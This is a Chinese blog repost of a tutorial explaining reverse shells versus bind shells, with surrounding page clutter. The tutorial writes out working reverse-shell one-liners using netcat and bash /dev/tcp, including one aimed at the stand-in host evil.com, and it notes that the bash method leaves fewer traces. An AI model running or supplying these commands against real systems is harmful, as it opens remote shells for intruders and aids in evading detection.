博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
反向shell
阅读量:5823 次
发布时间:2019-06-18

本文共 1158 字,大约阅读时间需要 3 分钟。

  hot3.png

反向shell(Reverse shell)是一种往远程机器发送shell命令的技术,当远程机器处在防火墙等其它东西后面时,这种技术会变得非常有用。你也许会说,“一个普通的shell或简单的SSH通道不是也能实现这些吗?”不,无法实现。在网上,我看到很多人对普通shell和反向shell之间的区别分不清。在我们开始下面的内容前,先弄清楚这些概念。
1. 反向Shell(Reverse Shell) 反向shell的工作方式是远程计算机将自己的shell发送给特定的用户,而不是将shell绑定到一个端口上。后者在很多环境中是无法访问的。这样,你就可以对远程服务器执行root命令。
2. Bind Shell bind shell是用户用BSAH,将shell绑定到一个本地端口上,这样任何人都可以在本地网络中发送命令。 反向shell经常会被黑客用来做一些不法行为,例如入侵了一台服务器后,他们会设置一个反向shell,将来他们就能通过这个shell轻松的访问这台远程计算机。我相信你是不会用它来做这种事情的。
3. 环境要求 远程Unix主机 安装了netcat
4. 使用NetCat实现反向shell交互 当通过shell登录到远程主机后,下面的指令能轻松的将shell发送到你的机器上: # nc -c /bin/sh <你的IP> <任何一个未封锁的端口> 你甚至能通过netcat来pipe BASH。 # /bin/sh | nc <你的IP> <任何未封锁的端口> 然后监听这个shell: # nc -l -p <相同的端口> -vvv
5. 通过BASH实现反向shell 这种技术是当远程机器上没有netcat或你想做一些非自然的事情而不想留下太重的痕迹时使用。 监听shell: # nc -l -p <任何未封锁的端口> -vvv 先创建一个新的描述符,分配到一个网络节点。这样我们可以对这个描述符进行读写。 # exec 5<>/dev/tcp/evil.com/<相同的端口> $ cat <&5 | while read line; do $line 2>&5 >&5; done 或另外一个反向shell: # 0<&196;exec 196<>/dev/tcp/<你的IP>/<相同的端口>; sh <&196 >&196 2>&196 这样,你就可以轻松是通过netcat发送任何命令了。 转自http://www.aqee.net/create-reverse-shell-to-remotely-execute-root-commands-using-netcat-or-bash/

转载于:https://my.oschina.net/766/blog/210953

你可能感兴趣的文章
我的2014-相对奢侈的生活
查看>>
zoj 2412 dfs 求连通分量的个数
查看>>
Java设计模式
查看>>
一文读懂 AOP | 你想要的最全面 AOP 方法探讨
查看>>
Spring Cloud 微服务分布式链路跟踪 Sleuth 与 Zipkin
查看>>
ORM数据库框架 SQLite 常用数据库框架比较 MD
查看>>
华为OJ 名字美丽度
查看>>
微信公众号与APP微信第三方登录账号打通
查看>>
onchange()事件的应用
查看>>
Windows 下最佳的 C++ 开发的 IDE 是什么?
查看>>
软件工程师成长为架构师必备的十项技能
查看>>
python 异常
查看>>
百度账号注销
查看>>
mysql-This version of MySQL doesn’t yet support ‘LIMIT & IN/ALL/ANY/SOME 错误解决
查看>>
BIEE Demo(RPD创建 + 分析 +仪表盘 )
查看>>
Cocos2dx 3.0开发环境的搭建--Eclipse建立在Android工程
查看>>
基本概念复习
查看>>
重构第10天:提取方法(Extract Method)
查看>>
Android Fragment使用(四) Toolbar使用及Fragment中的Toolbar处理
查看>>
解决pycharm在ubuntu下搜狗输入法一直固定在左下角的问题
查看>>